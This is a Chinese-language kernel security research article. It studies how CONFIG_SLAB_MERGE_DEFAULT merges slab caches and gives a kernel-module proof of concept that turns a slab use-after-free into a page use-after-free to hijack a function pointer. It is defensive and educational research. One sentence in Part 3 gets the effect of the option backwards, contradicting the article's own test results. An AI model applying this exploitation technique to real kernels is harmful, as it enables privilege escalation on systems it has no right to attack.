Linux 内核利用技巧 Slab UAF to Page UAF

author: 熊潇 of IceSword Lab

本文研究了内核编译选项 CONFIG_SLAB_MERGE_DEFAULTkmem_cache 分配的影响.

以及开启该配置的时候, slab UAF 的一种利用方案 (方案来源, 本文内容基于 Linux-5.10.90).

阅读前, 需要对 slab/slub, Buddy system 有基本的了解.

  • Part. 1: 源码分析
  • Part. 2: CONFIG_SLAB_MERGE_DEFAULT 配置对比测试
  • Part. 3: 跨 slab 的 UAF 利用示例

Keyword: slab/slub | CONFIG_SLAB_MERGE_DEFAULT | Linux kernel exploit

Part. 1

创建 struct kmem_cache 的时候,有两种情况:

  • __kmem_cache_alias : 跟现有的共用(mergeable)
  • create_cache : 创建一个新的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
kmem_cache_create(..)
kmem_cache_create_usercopy(..)
if (!usersize) // usersize == 0
s = __kmem_cache_alias(name, size, align, flags, ctor); // s 为 NULL 才会创建新的 slab
if (s)
goto out_unlock;
create_cache()

// 进入 `__kmem_cache_alias` 看看
__kmem_cache_alias(..)
// 检查 CONFIG_SLAB_MERGE_DEFAULT 配置;
// 如果开启了,则通过 sysfs_slab_alias 找到已经创建的相同大小的 slab 作为替代
s = find_mergeable(..)
list_for_each_entry_reverse(s, &slab_caches, list) {
if (slab_unmergeable(s)) // slab_nomerge 为 true 时 return 1;
continue;
...
return s;
}
return NULL; // slab_nomerge 为 true 的时候返回 NULL
if(s)
...
sysfs_slab_alias(..)
return s;

// CONFIG_SLAB_MERGE_DEFAULT=y -> slab_nomerge == false
// CONFIG_SLAB_MERGE_DEFAULT=n -> slab_nomerge == true
static bool slab_nomerge = !IS_ENABLED(CONFIG_SLAB_MERGE_DEFAULT);

// https://cateee.net/lkddb/web-lkddb/SLAB_MERGE_DEFAULT.html
// CONFIG_SLAB_MERGE_DEFAULT: Allow slab caches to be merged

// For reduced kernel memory fragmentation, slab caches can be merged
// when they share the same size and other characteristics.
// This carries a risk of kernel heap overflows being able to
// overwrite objects from merged caches (and more easily control cache layout),
// which makes such heap attacks easier to exploit by attackers.

Part.2

测试 CONFIG_SLAB_MERGE_DEFAULT 的影响

Host 主机(开启了配置):

1
2
3
4
5
└─[$] uname -r
5.15.0-52-generic

└─[$] cat /boot/config-$(uname -r) |grep CONFIG_SLAB_MERGE_DEFAULT
CONFIG_SLAB_MERGE_DEFAULT=y

VM (未开启配置):

1
2
3
4
5
➜  ~ uname -r
5.10.90

└─[$] cat .config|grep CONFIG_SLAB_MERGE_DEFAULT
# CONFIG_SLAB_MERGE_DEFAULT is not set
  • code

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    #include <linux/module.h>
    #include <linux/kernel.h>
    #include <linux/init.h>
    #include <linux/mm.h>
    #include <linux/slab.h>
    #include <linux/slub_def.h>
    #include <linux/sched.h>

    #define OBJ_SIZE 256
    #define OBJ_NUM ((PAGE_SIZE/OBJ_SIZE) * 3)

    struct my_struct {
    char data[OBJ_SIZE];
    };

    static struct kmem_cache *my_cachep;
    static struct my_struct *ms[OBJ_NUM];

    static int __init km_init(void){
    int i, cpu;
    struct kmem_cache_cpu *c;
    struct page *pg;

    pr_info("Hello\n");

    my_cachep = kmem_cache_create("my_struct",
    sizeof(struct my_struct), 0,
    SLAB_HWCACHE_ALIGN | SLAB_PANIC | SLAB_ACCOUNT,
    NULL);

    pr_info("my_cachep: %px, %s\n", my_cachep, my_cachep->name);
    pr_info("my_cachep.size: %u\n", my_cachep->size);
    pr_info("my_cachep.object_size: %u\n", kmem_cache_size(my_cachep));

    cpu = get_cpu();
    pr_info("cpu: %d\n", cpu);

    c = per_cpu_ptr(my_cachep->cpu_slab, cpu);

    for(i = 0; i<OBJ_NUM; i++){
    ms[i] = kmem_cache_alloc(my_cachep, GFP_KERNEL);
    pg = virt_to_page(ms[i]);
    pr_info("[%02d] object: %px, page: %px(%px), %d\n", i, ms[i],
    pg, page_address(pg),
    (void *)pg == (void *)c->page);
    }

    return 0;

    }

    static void __exit km_exit(void)
    {
    int i;

    for( i = 0; i<OBJ_NUM; i++){
    kmem_cache_free(my_cachep, ms[i]);
    }
    kmem_cache_destroy(my_cachep);
    pr_info("Bye\n");
    }

    module_init(km_init);
    module_exit(km_exit);

    MODULE_LICENSE("GPL");
    MODULE_AUTHOR("X++D");
    MODULE_DESCRIPTION("Kernel xxx Module.");
    MODULE_VERSION("0.1");
  • VM result

    分配的 object 地址和 page 的关系非常清晰

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    ➜  ~ insmod slab-tc.ko
    [ 1184.983757] Hello
    [ 1184.984278] my_cachep: ffff8880096ea000, my_struct
    [ 1184.985568] my_cachep.size: 256
    [ 1184.986451] my_cachep.object_size: 256
    [ 1184.987488] cpu: 0
    **[ 1184.988945] [00] object: ffff888005c38000, page: ffffea0000170e00(ffff888005c38000), 1**
    [ 1184.991189] [01] object: ffff888005c38100, page: ffffea0000170e00(ffff888005c38000), 1
    [ 1184.993438] [02] object: ffff888005c38200, page: ffffea0000170e00(ffff888005c38000), 1
    [ 1184.995688] [03] object: ffff888005c38300, page: ffffea0000170e00(ffff888005c38000), 1
    [ 1184.998018] [04] object: ffff888005c38400, page: ffffea0000170e00(ffff888005c38000), 1
    [ 1185.000234] [05] object: ffff888005c38500, page: ffffea0000170e00(ffff888005c38000), 1
    [ 1185.002529] [06] object: ffff888005c38600, page: ffffea0000170e00(ffff888005c38000), 1
    [ 1185.004702] [07] object: ffff888005c38700, page: ffffea0000170e00(ffff888005c38000), 1
    [ 1185.006841] [08] object: ffff888005c38800, page: ffffea0000170e00(ffff888005c38000), 1
    [ 1185.008919] [09] object: ffff888005c38900, page: ffffea0000170e00(ffff888005c38000), 1
    [ 1185.010944] [10] object: ffff888005c38a00, page: ffffea0000170e00(ffff888005c38000), 1
    [ 1185.013021] [11] object: ffff888005c38b00, page: ffffea0000170e00(ffff888005c38000), 1
    [ 1185.014904] [12] object: ffff888005c38c00, page: ffffea0000170e00(ffff888005c38000), 1
    [ 1185.016926] [13] object: ffff888005c38d00, page: ffffea0000170e00(ffff888005c38000), 1
    [ 1185.018883] [14] object: ffff888005c38e00, page: ffffea0000170e00(ffff888005c38000), 1
    **[ 1185.020761] [15] object: ffff888005c38f00, page: ffffea0000170e00(ffff888005c38000), 1**
    **[ 1185.022735] [16] object: ffff88800953d000, page: ffffea0000254f40(ffff88800953d000), 1**
    [ 1185.024679] [17] object: ffff88800953d100, page: ffffea0000254f40(ffff88800953d000), 1
    [ 1185.026579] [18] object: ffff88800953d200, page: ffffea0000254f40(ffff88800953d000), 1
    [ 1185.028528] [19] object: ffff88800953d300, page: ffffea0000254f40(ffff88800953d000), 1
    [ 1185.030443] [20] object: ffff88800953d400, page: ffffea0000254f40(ffff88800953d000), 1
    [ 1185.032372] [21] object: ffff88800953d500, page: ffffea0000254f40(ffff88800953d000), 1
    [ 1185.034263] [22] object: ffff88800953d600, page: ffffea0000254f40(ffff88800953d000), 1
    [ 1185.036116] [23] object: ffff88800953d700, page: ffffea0000254f40(ffff88800953d000), 1
    [ 1185.038086] [24] object: ffff88800953d800, page: ffffea0000254f40(ffff88800953d000), 1
    [ 1185.039929] [25] object: ffff88800953d900, page: ffffea0000254f40(ffff88800953d000), 1
    [ 1185.041944] [26] object: ffff88800953da00, page: ffffea0000254f40(ffff88800953d000), 1
    [ 1185.043852] [27] object: ffff88800953db00, page: ffffea0000254f40(ffff88800953d000), 1
    [ 1185.045736] [28] object: ffff88800953dc00, page: ffffea0000254f40(ffff88800953d000), 1
    [ 1185.047678] [29] object: ffff88800953dd00, page: ffffea0000254f40(ffff88800953d000), 1
    [ 1185.049585] [30] object: ffff88800953de00, page: ffffea0000254f40(ffff88800953d000), 1
    **[ 1185.051391] [31] object: ffff88800953df00, page: ffffea0000254f40(ffff88800953d000), 1**
    **[ 1185.053206] [32] object: ffff888009543000, page: ffffea00002550c0(ffff888009543000), 1**
    [ 1185.055038] [33] object: ffff888009543100, page: ffffea00002550c0(ffff888009543000), 1
    [ 1185.056666] [34] object: ffff888009543200, page: ffffea00002550c0(ffff888009543000), 1
    [ 1185.058430] [35] object: ffff888009543300, page: ffffea00002550c0(ffff888009543000), 1
    [ 1185.060174] [36] object: ffff888009543400, page: ffffea00002550c0(ffff888009543000), 1
    [ 1185.061955] [37] object: ffff888009543500, page: ffffea00002550c0(ffff888009543000), 1
    [ 1185.063694] [38] object: ffff888009543600, page: ffffea00002550c0(ffff888009543000), 1
    [ 1185.065468] [39] object: ffff888009543700, page: ffffea00002550c0(ffff888009543000), 1
    [ 1185.067231] [40] object: ffff888009543800, page: ffffea00002550c0(ffff888009543000), 1
    [ 1185.068930] [41] object: ffff888009543900, page: ffffea00002550c0(ffff888009543000), 1
    [ 1185.070600] [42] object: ffff888009543a00, page: ffffea00002550c0(ffff888009543000), 1
    [ 1185.072224] [43] object: ffff888009543b00, page: ffffea00002550c0(ffff888009543000), 1
    [ 1185.073911] [44] object: ffff888009543c00, page: ffffea00002550c0(ffff888009543000), 1
    [ 1185.075534] [45] object: ffff888009543d00, page: ffffea00002550c0(ffff888009543000), 1
    [ 1185.077211] [46] object: ffff888009543e00, page: ffffea00002550c0(ffff888009543000), 1
    **[ 1185.078887] [47] object: ffff888009543f00, page: ffffea00002550c0(ffff888009543000), 1**

    有独立的 sysfs 目录

    1
    2
    3
    4
    5
    ➜  ~ file /sys/kernel/slab/my_struct
    /sys/kernel/slab/my_struct: directory

    ➜ ~ file /sys/kernel/slab/pool_workqueue
    /sys/kernel/slab/pool_workqueue: directory
  • Host result

    分配的 obj 位于的 page 地址非常杂乱,my_cachepname 也变成了 pool_workqueue

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    [435532.063645] Hello
    [435532.063655] my_cachep: ffff8faf40045900, pool_workqueue
    [435532.063658] my_cachep.size: 256
    [435532.063659] my_cachep.object_size: 256
    [435532.063660] cpu: 0
    [435532.063662] [00] object: ffff8fafb100b400, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063664] [01] object: ffff8fafb100a700, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063666] [02] object: ffff8fafb100ae00, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063668] [03] object: ffff8fafb100b900, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063670] [04] object: ffff8fafb100be00, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063672] [05] object: ffff8fafb100bf00, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063674] [06] object: ffff8fafb100af00, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063676] [07] object: ffff8fafb100ad00, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063677] [08] object: ffff8fafb100bc00, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063679] [09] object: ffff8fafb100a600, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063681] [10] object: ffff8fafb100a800, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063683] [11] object: ffff8fafb100a000, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063685] [12] object: ffff8fafb100ab00, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063687] [13] object: ffff8fafb100b300, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063689] [14] object: ffff8fafb100a900, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063690] [15] object: ffff8fafb100b000, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063692] [16] object: ffff8fafb100a100, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063694] [17] object: ffff8fafb100b100, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063696] [18] object: ffff8fafb100b500, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063698] [19] object: ffff8fafb100bd00, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063700] [20] object: ffff8fafb100ba00, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063702] [21] object: ffff8fafb100b700, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063703] [22] object: ffff8fafb100a200, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063705] [23] object: ffff8fafb100b200, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063707] [24] object: ffff8fafb100bb00, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063709] [25] object: ffff8fafb100aa00, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063711] [26] object: ffff8fafb100a500, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063713] [27] object: ffff8fafb100b600, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063714] [28] object: ffff8fafb100b800, page: ffffd50545c402c0(ffff8fafb100b000), 0
    [435532.063716] [29] object: ffff8fafb100a400, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063718] [30] object: ffff8fafb100ac00, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063720] [31] object: ffff8fafb100a300, page: ffffd50545c40280(ffff8fafb100a000), 1
    [435532.063724] [32] object: ffff8faf488fec00, page: ffffd50544223f80(ffff8faf488fe000), 1
    [435532.063726] [33] object: ffff8faf488fe400, page: ffffd50544223f80(ffff8faf488fe000), 1
    [435532.063728] [34] object: ffff8faf488ff800, page: ffffd50544223fc0(ffff8faf488ff000), 0
    [435532.063730] [35] object: ffff8faf488ff600, page: ffffd50544223fc0(ffff8faf488ff000), 0
    [435532.063732] [36] object: ffff8faf488fe500, page: ffffd50544223f80(ffff8faf488fe000), 1
    [435532.063734] [37] object: ffff8faf488fea00, page: ffffd50544223f80(ffff8faf488fe000), 1
    [435532.063736] [38] object: ffff8faf488ffb00, page: ffffd50544223fc0(ffff8faf488ff000), 0
    [435532.063737] [39] object: ffff8faf488ff200, page: ffffd50544223fc0(ffff8faf488ff000), 0
    [435532.063739] [40] object: ffff8faf488fe200, page: ffffd50544223f80(ffff8faf488fe000), 1
    [435532.063741] [41] object: ffff8faf488ff700, page: ffffd50544223fc0(ffff8faf488ff000), 0
    [435532.063743] [42] object: ffff8faf488ffa00, page: ffffd50544223fc0(ffff8faf488ff000), 0
    [435532.063745] [43] object: ffff8faf488ff400, page: ffffd50544223fc0(ffff8faf488ff000), 0
    [435532.063747] [44] object: ffff8faf488fe700, page: ffffd50544223f80(ffff8faf488fe000), 1
    [435532.063749] [45] object: ffff8faf488fee00, page: ffffd50544223f80(ffff8faf488fe000), 1
    [435532.063750] [46] object: ffff8faf488ff900, page: ffffd50544223fc0(ffff8faf488ff000), 0
    [435532.063752] [47] object: ffff8faf488ffe00, page: ffffd50544223fc0(ffff8faf488ff000), 0
    [435532.065672] Bye

    sysfs 目录也是和 pool_workqueue 共用的

    1
    2
    3
    4
    5
    └─[$] file /sys/kernel/slab/my_struct              
    /sys/kernel/slab/my_struct: symbolic link to :0000256

    └─[$] file /sys/kernel/slab/pool_workqueue
    /sys/kernel/slab/pool_workqueue: symbolic link to :0000256

Part. 3

根据前两个部分知道,开启 CONFIG_SLAB_MERGE_DEFAULT 配置后,不同类型的 kmem_cache 的内存完全隔离.

这种情况下,想要占据被释放的 slab object 内存(比如一个 struct file) 只能通过申请相同的 slab object,

而像 struct file 这样的内存,用户态可以操纵的内容非常有限,

解决办法是: 占据目标 object (e.g. struct file) 所在的整个 page,在 object invalid free 之后 free 掉同页面其他 object,再满足一系列条件 就可以让整个 page 被 buddy system 回收,并被重新申请


条件一:

目标 object 所在的 page 不是 s->cpu_slab->page

1
2
3
4
5
6
7
8
9
10
11
12
static __always_inline void do_slab_free(struct kmem_cache *s,
struct page *page, void *head, void *tail,
int cnt, unsigned long addr)
{
...
c = raw_cpu_ptr(s->cpu_slab);
...
**if (likely(page == c->page)) {**
...
} else
__slab_free(s, page, head, tail_obj, cnt, addr);
...

条件二:

object 所在 page 满足 page->pobjects > (s)->cpu_partial

1
2
3
4
5
6
7
8
// #define slub_cpu_partial(s) ((s)->cpu_partial)
static void put_cpu_partial(struct kmem_cache *s, struct page *page, int drain)
...
oldpage = this_cpu_read(s->cpu_slab->partial);
pobjects = oldpage->pobjects;
**if (drain && pobjects > slub_cpu_partial(s)) {**
...
unfreeze_partials(s, this_cpu_ptr(s->cpu_slab));

条件三:

object 所在 page 位于 freelistpage.inuse为 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static void unfreeze_partials(struct kmem_cache *s,
struct kmem_cache_cpu *c)
{
...
while ((page = slub_percpu_partial(c))) {
...
**if (unlikely(!new.inuse && n->nr_partial >= s->min_partial)) {**
page->next = discard_page;
**discard_page = page;**
} else {
...
}
}
...
while (discard_page) {
page = discard_page;
discard_page = discard_page->next;

stat(s, DEACTIVATE_EMPTY);
**discard_slab(s, page);**
stat(s, FREE_SLAB);
}

触发方法:

  • 创建一批 objects 占满 cpu_partial + 2 个 pages, 保证 free 的时候 page->pobjects > (s)->cpu_partial
  • 创建 objects 占据一个新的 page ,但不占满,保证 c->page 指向这个 page
  • free 掉一个 page 的所有 objects, 使这个 page 的 page.inuse == 0
  • 剩下的每个 page free 一个 object 用完 partial list 后就会 free 掉目标 page

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
/*
*
* 通过 free slab objects free 掉一个 page, 然后 UAF 利用
*
➜ ~ uname -r
5.10.90
* */
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/mm.h>
#include <linux/slab.h>
#include <linux/slub_def.h>
#include <linux/sched.h>


#define OBJ_SIZE 256
#define OBJ_NUM (16 * 16)

struct my_struct {
union {
char data[OBJ_SIZE];
struct {
void (*func)(void);
char paddings[OBJ_SIZE - 8];
};
};
} __attribute__((aligned(OBJ_SIZE)));

static struct kmem_cache *my_cachep;
struct my_struct **tmp_ms;
struct my_struct *ms;
struct my_struct *random_ms;
struct page *target;


void hello_func(void){
pr_info("Hello\n");
}

void hack_func(void){
pr_info("Hacked\n");
}

static int __init km_init(void){
#define OO_SHIFT 16
#define OO_MASK ((1 << OO_SHIFT) - 1)
int i, cpu_partial, objs_per_slab;
struct page *target;
struct page *realloc;
void *p;

tmp_ms = kmalloc(OBJ_NUM * 8, GFP_KERNEL);
my_cachep = kmem_cache_create("my_struct", sizeof(struct my_struct), 0,
SLAB_HWCACHE_ALIGN | SLAB_PANIC | SLAB_ACCOUNT,NULL);

pr_info("%s\n", my_cachep->name);
pr_info("cpu_partial: %d\n", my_cachep->cpu_partial);
pr_info("objs_per_slab: %u\n", my_cachep->oo.x & OO_MASK);
pr_info("\n");

cpu_partial = my_cachep->cpu_partial;
objs_per_slab = my_cachep->oo.x & OO_MASK;

random_ms = kmem_cache_alloc(my_cachep, GFP_KERNEL);

// 16 * 14
for(i = 0; i < (objs_per_slab * (cpu_partial + 1)); i++){
tmp_ms[i] = kmem_cache_alloc(my_cachep, GFP_KERNEL);
}

// 15
for(i = (objs_per_slab * (cpu_partial + 1));
i < objs_per_slab * (cpu_partial + 2) - 1; i++){
tmp_ms[i] = kmem_cache_alloc(my_cachep, GFP_KERNEL);
}

// free normal object
ms = kmem_cache_alloc(my_cachep, GFP_KERNEL);
target = virt_to_page(ms);
pr_info("target page: %px\n", target);
ms->func = (void *)hello_func;
ms->func();
kmem_cache_free(my_cachep, ms);

// 17
for(i = objs_per_slab * (cpu_partial + 2) - 1;
i < objs_per_slab * (cpu_partial + 2) - 1 + (objs_per_slab + 1); i++){
tmp_ms[i] = kmem_cache_alloc(my_cachep, GFP_KERNEL);
}

// free page
for(i = (objs_per_slab * (cpu_partial + 1));
i < objs_per_slab * (cpu_partial + 2) - 1; i++){

kmem_cache_free(my_cachep, tmp_ms[i]);
tmp_ms[i] = NULL;
}

for(i = objs_per_slab * (cpu_partial + 2) - 1;
i < objs_per_slab * (cpu_partial + 2) - 1 + (objs_per_slab + 1); i++){
kmem_cache_free(my_cachep, tmp_ms[i]);
tmp_ms[i] = NULL;
}

for(i = 0; i < (objs_per_slab * (cpu_partial + 1)); i++){
if(i % objs_per_slab == 0){
kmem_cache_free(my_cachep, tmp_ms[i]);
tmp_ms[i] = NULL;
}
}

// in other evil task
realloc = alloc_page(GFP_KERNEL);
if(realloc == target){
pr_info("[+] Realloc success!!!\n");
}else{
return 0;
}

p = page_address(realloc);
for(i = 0; i< PAGE_SIZE/8; i++){
((void **)p)[i] = (void *)hack_func;
}

// UAF
if(0)
return;
else
ms->func();

free_page((unsigned long)p);

return 0;

}

static void __exit km_exit(void)
{
int i;

for(i = 0; i < OBJ_NUM; i++){
if(tmp_ms[i])
kmem_cache_free(my_cachep, tmp_ms[i]);
}
kmem_cache_free(my_cachep, random_ms);
kmem_cache_destroy(my_cachep);
kfree(tmp_ms);
pr_info("Bye\n");
}


module_init(km_init);
module_exit(km_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("X++D");
MODULE_DESCRIPTION("Kernel xxx Module.");
MODULE_VERSION("0.1");